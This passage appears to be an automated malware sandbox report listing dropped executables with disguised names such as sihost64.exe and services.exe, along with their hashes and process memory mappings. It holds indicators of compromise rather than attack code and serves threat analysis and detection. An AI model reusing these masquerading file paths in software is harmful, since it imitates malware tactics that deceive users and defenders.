                              62430a91562232d632cbb65f890101d4

                              SHA1

                              d9d123a5604895c83cedd19363ca5962b9ca44c7

                              SHA256

                              0907de7d81927558ef8d3057873e0a756ddfbe1553fb2ceedd88455130a8a040

                              SHA512

                              aa3604ef9545d5d5a005846d1d0e7440f3c12970bd178954b3f9749215a9c6039ded459237274ed9b64178d35dddb304cc3a5352e647ca5d5a6fe807ac8c4b81

                            • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
                              MD5

                              460586ac89155c350f4ef30bf6c17936

                              SHA1

                              75ad4382a182d1b13bb031d2ecb19549a3022f07

                              SHA256

                              10a833938efd4f95ac7cae376db445881a4db9b03ace1337042830c94b414414

                              SHA512

                              dddab7e267d1d287be3047e92792b1fb32e4fdf8ff7ae339a58a63bfcb7c2b92a4a086df30dbf340725ccf6a4a6a9813a18ed3ce6cb726089cd9ad6a2a756aa6

                            • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
                              MD5

                              460586ac89155c350f4ef30bf6c17936

                              SHA1

                              75ad4382a182d1b13bb031d2ecb19549a3022f07

                              SHA256

                              10a833938efd4f95ac7cae376db445881a4db9b03ace1337042830c94b414414

                              SHA512

                              dddab7e267d1d287be3047e92792b1fb32e4fdf8ff7ae339a58a63bfcb7c2b92a4a086df30dbf340725ccf6a4a6a9813a18ed3ce6cb726089cd9ad6a2a756aa6

                            • C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
                              MD5

                              98fba37ca03a38b7ba3c626e3d207adf

                              SHA1

                              da80eec1e5d858fab59a4e8d1020a3e92c5815e7

                              SHA256

                              e8f42669c0fe940c44985bd393cd851df179fa0b09c655ec8cbb5a3c969045f1

                              SHA512

                              0bc8cdb0f06c2fb6486ea13cb322b6badcdaa286d4757e08672e5886982d6d5d082ad824207cf7093001744612259e5d3af6f4a9f4420c437cdae369218d247f

                            • C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
                              MD5

                              98fba37ca03a38b7ba3c626e3d207adf

                              SHA1

                              da80eec1e5d858fab59a4e8d1020a3e92c5815e7

                              SHA256

                              e8f42669c0fe940c44985bd393cd851df179fa0b09c655ec8cbb5a3c969045f1

                              SHA512

                              0bc8cdb0f06c2fb6486ea13cb322b6badcdaa286d4757e08672e5886982d6d5d082ad824207cf7093001744612259e5d3af6f4a9f4420c437cdae369218d247f

                            • C:\Windows\SysWOW64\wfmkzkir\jvojiazc.exe
                              MD5

                              62430a91562232d632cbb65f890101d4

                              SHA1

                              d9d123a5604895c83cedd19363ca5962b9ca44c7

                              SHA256

                              0907de7d81927558ef8d3057873e0a756ddfbe1553fb2ceedd88455130a8a040

                              SHA512

                              aa3604ef9545d5d5a005846d1d0e7440f3c12970bd178954b3f9749215a9c6039ded459237274ed9b64178d35dddb304cc3a5352e647ca5d5a6fe807ac8c4b81

                            • memory/116-287-0x0000000000000000-mapping.dmp
                            • memory/656-295-0x0000000000000000-mapping.dmp
                            • memory/896-231-0x00007FF632790000-0x00007FF6330BE000-memory.dmp
                              Filesize

                              9.2MB

                            • memory/896-234-0x0000000001D50000-0x0000000001D62000-memory.dmp
                              Filesize

                              72KB

                            • memory/896-229-0x00007FF632790000-0x00007FF6330BE000-memory.dmp
                              Filesize

                              9.2MB

                            • memory/896-215-0x0000000000000000-mapping.dmp
                            • memory/896-246-0x0000000023870000-0x0000000023872000-memory.dmp
                              Filesize

                              8KB

                            • memory/916-160-0x0000000000000000-mapping.dmp
                            • memory/920-153-0x0000000000000000-mapping.dmp
                            • memory/1264-262-0x0000000000000000-mapping.dmp
                            • memory/1632-162-0x0000000000000000-mapping.dmp
                            • memory/1688-269-0x0000000000799000-0x00000000007E9000-memory.dmp
                              Filesize

                              320KB

                            • memory/1688-266-0x0000000000000000-mapping.dmp
                            • memory/1688-270-0x00000000006E0000-0x0000000000771000-memory.dmp
                              Filesize

                              580KB

                            • memory/1688-271-0x0000000000400000-0x0000000000619000-memory.dmp
                              Filesize

                              2.1MB

                            • memory/1840-212-0x0000000000000000-mapping.dmp
                            • memory/1840-214-0x0000000000CC0000-0x0000000000CCC000-memory.dmp
                              Filesize

                              48KB

                            • memory/1840-213-0x0000000000CD0000-0x0000000000CD7000-memory.dmp
                              Filesize

                              28KB

                            • memory/1944-131-0x0000000000870000-0x0000000000879000-memory.dmp
                              Filesize

                              36KB

                            • memory/1944-130-0x00000000008A8000-0x00000000008B9000-memory.dmp
                              Filesize

                              68KB

                            • memory/2180-221-0x0000000000000000-mapping.dmp
                            • memory/2196-172-0x0000000000000000-mapping.dmp
                            • memory/2196-173-0x0000000000400000-0x0000000000420000-memory.dmp
                              Filesize

                              128KB

                            • memory/2216-303-0x0000000140958000-mapping.dmp
                            • memory/2216-304-0x0000000000DD0000-0x0000000000DD2000-memory.dmp
                              Filesize

                              8KB

                            • memory/2216-306-0x0000000000DD0000-0x0000000000DD2000-memory.dmp
                              Filesize

                              8KB

                            • memory/2216-302-0x0000000140000000-0x000000014097B000-memory.dmp
                              Filesize

                              9.5MB

                            • memory/2216-309-0x0000000000DD0000-0x0000000000DD2000-memory.dmp
                              Filesize

                              8KB

                            • memory/2216-307-0x0000000000DD0000-0x0000000000DD2000-memory.dmp
                              Filesize

                              8KB

                            • memory/2216-308-0x0000000002C70000-0x0000000002C90000-memory.dmp
                              Filesize

                              128KB

                            • memory/2312-142-0x00000000004E0000-0x00000000004E9000-memory.dmp
                              Filesize

                              36KB

                            • memory/2312-135-0x0000000000000000-mapping.dmp
                            • memory/2312-141-0x00000000004D0000-0x00000000004D9000-memory.dmp
                              Filesize

                              36KB

                            • memory/2312-144-0x0000000000400000-0x0000000000452000-memory.dmp
                              Filesize

                              328KB

                            • memory/2432-165-0x0000000008500000-0x0000000008516000-memory.dmp
                              Filesize

                              88KB

                            • memory/2432-134-0x0000000000BC0000-0x0000000000BD6000-memory.dmp
                              Filesize

                              88KB

                            • memory/2508-210-0x0000000003200000-0x0000000003274000-memory.dmp
                              Filesize

                              464KB

                            • memory/2508-211-0x0000000002F90000-0x0000000002FFB000-memory.dmp
                              Filesize

                              428KB

                            • memory/2508-209-0x0000000000000000-mapping.dmp
                            • memory/2604-158-0x0000000000000000-mapping.dmp
                            • memory/2612-204-0x0000000000400000-0x000000000061B000-memory.dmp
                              Filesize

                              2.1MB

                            • memory/2612-197-0x0000000000000000-mapping.dmp
                            • memory/2612-203-0x00000000008E0000-0x0000000000972000-memory.dmp
                              Filesize

                              584KB

                            • memory/2612-202-0x00000000009E9000-0x0000000000A39000-memory.dmp
                              Filesize

                              320KB

                            • memory/2616-170-0x00000000000D0000-0x00000000000D1000-memory.dmp
                              Filesize

                              4KB

                            • memory/2616-181-0x00000000037E0000-0x00000000037E5000-memory.dmp
                              Filesize

                              20KB

                            • memory/2616-185-0x0000000004AE0000-0x0000000004AE7000-memory.dmp
                              Filesize

                              28KB

                            • memory/2616-168-0x00000000001B0000-0x00000000001C5000-memory.dmp
                              Filesize

                              84KB

                            • memory/2616-183-0x0000000009600000-0x0000000009A0B000-memory.dmp
                              Filesize

                              4.0MB

                            • memory/2616-177-0x0000000000F30000-0x0000000000F36000-memory.dmp
                              Filesize

                              24KB

                            • memory/2616-179-0x0000000000F40000-0x0000000000F50000-memory.dmp
                              Filesize

                              64KB

                            • memory/2616-175-0x0000000004600000-0x000000000480F000-memory.dmp
                              Filesize

                              2.1MB

                            • memory/2616-167-0x0000000000000000-mapping.dmp
                            • memory/2616-169-0x00000000000D0000-0x00000000000D1000-memory.dmp
                              Filesize

                              4KB

                            • memory/2636-161-0x0000000000000000-mapping.dmp
                            • memory/2720-208-0x00000000025C0000-0x0000000002620000-memory.dmp
                              Filesize

                              384KB

                            • memory/2720-205-0x0000000000000000-mapping.dmp
                            • memory/2848-138-0x0000000000000000-mapping.dmp
                            • memory/2848-151-0x0000000000400000-0x00000000005DB000-memory.dmp
                              Filesize

                              1.9MB

                            • memory/2848-150-0x0000000000660000-0x0000000000673000-memory.dmp
                              Filesize

                              76KB

                            • memory/2848-147-0x00000000006E9000-0x00000000006FA000-memory.dmp
                              Filesize

                              68KB

                            • memory/3008-265-0x0000000000000000-mapping.dmp
                            • memory/3044-187-0x0000000000000000-mapping.dmp
                            • memory/3044-188-0x0000000000B00000-0x0000000000BF1000-memory.dmp
                              Filesize

                              964KB

                            • memory/3044-192-0x0000000000B00000-0x0000000000BF1000-memory.dmp
                              Filesize

                              964KB

                            • memory/3220-286-0x0000000000000000-mapping.dmp
                            • memory/3276-196-0x0000000000829000-0x000000000087A000-memory.dmp
                              Filesize

                              324KB

                            • memory/3276-201-0x0000000000400000-0x0000000000619000-memory.dmp
                              Filesize

                              2.1MB

                            • memory/3276-193-0x0000000000000000-mapping.dmp
                            • memory/3276-200-0x0000000002300000-0x0000000002392000-memory.dmp
                              Filesize

                              584KB

                            • memory/3576-225-0x0000000000400000-0x00000000005DB000-memory.dmp
                              Filesize

                              1.9MB

                            • memory/3576-220-0x00000000006C9000-0x00000000006DA000-memory.dmp
                              Filesize

                              68KB

                            • memory/3576-224-0x0000000000670000-0x000000000068C000-memory.dmp
                              Filesize

                              112KB

                            • memory/3576-217-0x0000000000000000-mapping.dmp
                            • memory/3584-152-0x0000000000000000-mapping.dmp
                            • memory/3720-171-0x0000000000400000-0x00000000005DB000-memory.dmp
                              Filesize

                              1.9MB

                            • memory/3720-263-0x0000000005790000-0x0000000005791000-memory.dmp
                              Filesize

                              4KB

                            • memory/3720-281-0x0000000005A40000-0x0000000005AA6000-memory.dmp
                              Filesize

                              408KB

                            • memory/3720-282-0x00000000065E0000-0x0000000006656000-memory.dmp
                              Filesize

                              472KB

                            • memory/3720-283-0x0000000006700000-0x0000000006792000-memory.dmp
                              Filesize

                              584KB

                            • memory/3720-242-0x0000000005DC0000-0x00000000063D8000-memory.dmp
                              Filesize

                              6.1MB

                            • memory/3720-243-0x0000000005690000-0x00000000056A2000-memory.dmp
                              Filesize

                              72KB

                            • memory/3720-284-0x0000000006D50000-0x00000000072F4000-memory.dmp
                              Filesize

                              5.6MB

                            • memory/3720-247-0x00000000058B0000-0x00000000059BA000-memory.dmp
                              Filesize

                              1.0MB

                            • memory/3720-238-0x0000000073A70000-0x0000000073AF9000-memory.dmp
                              Filesize

                              548KB

                            • memory/3720-285-0x00000000069C0000-0x00000000069DE000-memory.dmp
                              Filesize

                              120KB

                            • memory/3720-255-0x00000000056F0000-0x000000000572C000-memory.dmp
                              Filesize

                              240KB

                            • memory/3720-237-0x0000000000040000-0x00000000000AF000-memory.dmp
                              Filesize

                              444KB

                            • memory/3720-290-0x0000000008680000-0x0000000008BAC000-memory.dmp
                              Filesize

                              5.2MB

                            • memory/3720-258-0x00000000770F0000-0x00000000776A3000-memory.dmp
                              Filesize

                              5.7MB

                            • memory/3720-260-0x0000000072E50000-0x0000000072E9C000-memory.dmp
                              Filesize

                              304KB

                            • memory/3720-289-0x0000000007F80000-0x0000000008142000-memory.dmp
                              Filesize

                              1.8MB

                            • memory/3720-226-0x0000000000000000-mapping.dmp
                            • memory/3720-230-0x0000000000040000-0x00000000000AF000-memory.dmp
                              Filesize

                              444KB

                            • memory/3720-166-0x00000000008C3000-0x00000000008D4000-memory.dmp
                              Filesize

                              68KB

                            • memory/3720-236-0x0000000000040000-0x00000000000AF000-memory.dmp
                              Filesize

                              444KB

                            • memory/3720-235-0x00000000766D0000-0x00000000768E5000-memory.dmp
                              Filesize

                              2.1MB

                            • memory/3720-232-0x0000000002C30000-0x0000000002C31000-memory.dmp
                              Filesize

                              4KB

                            • memory/3720-233-0x0000000002BD0000-0x0000000002C14000-memory.dmp
                              Filesize

                              272KB

                            • memory/4036-132-0x0000000000000000-mapping.dmp
                            • memory/4036-133-0x0000000000400000-0x0000000000409000-memory.dmp
                              Filesize

                              36KB

                            • memory/4040-155-0x0000000005060000-0x0000000005061000-memory.dmp
                              Filesize

                              4KB

                            • memory/4040-163-0x00000000057C0000-0x0000000005D64000-memory.dmp
                              Filesize

                              5.6MB

                            • memory/4040-159-0x00000000050E0000-0x00000000050FE000-memory.dmp
                              Filesize

                              120KB

                            • memory/4040-157-0x0000000005100000-0x0000000005176000-memory.dmp
                              Filesize

                              472KB

                            • memory/4040-143-0x0000000000000000-mapping.dmp
                            • memory/4040-154-0x0000000005200000-0x0000000005201000-memory.dmp
                              Filesize

                              4KB

                            • memory/4040-149-0x0000000000720000-0x00000000007AA000-memory.dmp
                              Filesize

                              552KB

                            • memory/4040-148-0x0000000000720000-0x00000000007AA000-memory.dmp
                              Filesize

                              552KB

                            • memory/4052-257-0x00000000057C0000-0x00000000057FC000-memory.dmp
                              Filesize

                              240KB

                            • memory/4052-279-0x0000000006DD0000-0x0000000006E20000-memory.dmp
                              Filesize

                              320KB

                            • memory/4052-278-0x0000000007AD0000-0x0000000007FFC000-memory.dmp
                              Filesize

                              5.2MB

                            • memory/4052-277-0x00000000073D0000-0x0000000007592000-memory.dmp
                              Filesize

                              1.8MB

                            • memory/4052-276-0x0000000006A70000-0x0000000006A8E000-memory.dmp
                              Filesize

                              120KB

                            • memory/4052-274-0x00000000067D0000-0x0000000006862000-memory.dmp
                              Filesize

                              584KB

                            • memory/4052-275-0x0000000006E20000-0x00000000073C4000-memory.dmp
                              Filesize

                              5.6MB

                            • memory/4052-273-0x00000000066B0000-0x0000000006726000-memory.dmp
                              Filesize

                              472KB

                            • memory/4052-272-0x0000000005B00000-0x0000000005B66000-memory.dmp
                              Filesize

                              408KB

                            • memory/4052-264-0x00000000056E0000-0x00000000056E1000-memory.dmp
                              Filesize

                              4KB

                            • memory/4052-261-0x0000000072E50000-0x0000000072E9C000-memory.dmp
                              Filesize

                              304KB

                            • memory/4052-259-0x00000000770F0000-0x00000000776A3000-memory.dmp
                              Filesize

                              5.7MB

                            • memory/4052-256-0x0000000005890000-0x000000000599A000-memory.dmp
                              Filesize

                              1.0MB

                            • memory/4052-249-0x0000000002BB0000-0x0000000002BF4000-memory.dmp
                              Filesize

                              272KB

                            • memory/4052-254-0x0000000005760000-0x0000000005772000-memory.dmp
                              Filesize

                              72KB

                            • memory/4052-253-0x0000000005D10000-0x0000000006328000-memory.dmp
                              Filesize

                              6.1MB

                            • memory/4052-252-0x0000000073A70000-0x0000000073AF9000-memory.dmp
                              Filesize

                              548KB

                            • memory/4052-248-0x00000000766D0000-0x00000000768E5000-memory.dmp
                              Filesize

                              2.1MB

                            • memory/4052-251-0x00000000000F0000-0x0000000000163000-memory.dmp
                              Filesize

                              460KB

                            • memory/4052-250-0x00000000000F0000-0x0000000000163000-memory.dmp
                              Filesize

                              460KB

                            • memory/4052-245-0x00000000011B0000-0x00000000011B1000-memory.dmp
                              Filesize

                              4KB

                            • memory/4052-244-0x00000000000F0000-0x0000000000163000-memory.dmp
                              Filesize

                              460KB

                            • memory/4052-239-0x0000000000000000-mapping.dmp